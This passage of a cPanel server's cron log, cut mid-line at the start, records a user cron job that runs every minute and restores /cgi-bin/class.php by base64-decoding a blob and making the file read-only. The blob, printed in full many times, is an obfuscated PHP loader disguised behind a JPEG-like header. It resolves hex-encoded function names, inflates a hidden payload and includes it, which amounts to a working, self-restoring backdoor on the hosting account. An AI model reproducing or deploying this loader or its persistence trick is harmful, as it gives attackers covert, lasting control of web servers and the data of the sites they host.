&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:35:01 server CROND[6525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:35:01 server CROND[6527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:35:01 server CROND[6530]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 11:35:01 server CROND[6529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:35:01 server CROND[6528]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 11:36:01 server CROND[6857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:37:01 server CROND[7141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:38:01 server CROND[7466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:39:01 server CROND[7740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:39:01 server CROND[7741]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 11:40:01 server CROND[8120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 11:40:01 server CROND[8123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:40:01 server CROND[8122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:40:01 server CROND[8121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:41:01 server CROND[8454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:42:01 server CROND[8808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:42:01 server CROND[8809]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 11:43:01 server CROND[9158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:44:01 server CROND[9429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:45:01 server CROND[9697]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:45:01 server CROND[9698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:45:01 server CROND[9699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:46:01 server CROND[10026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
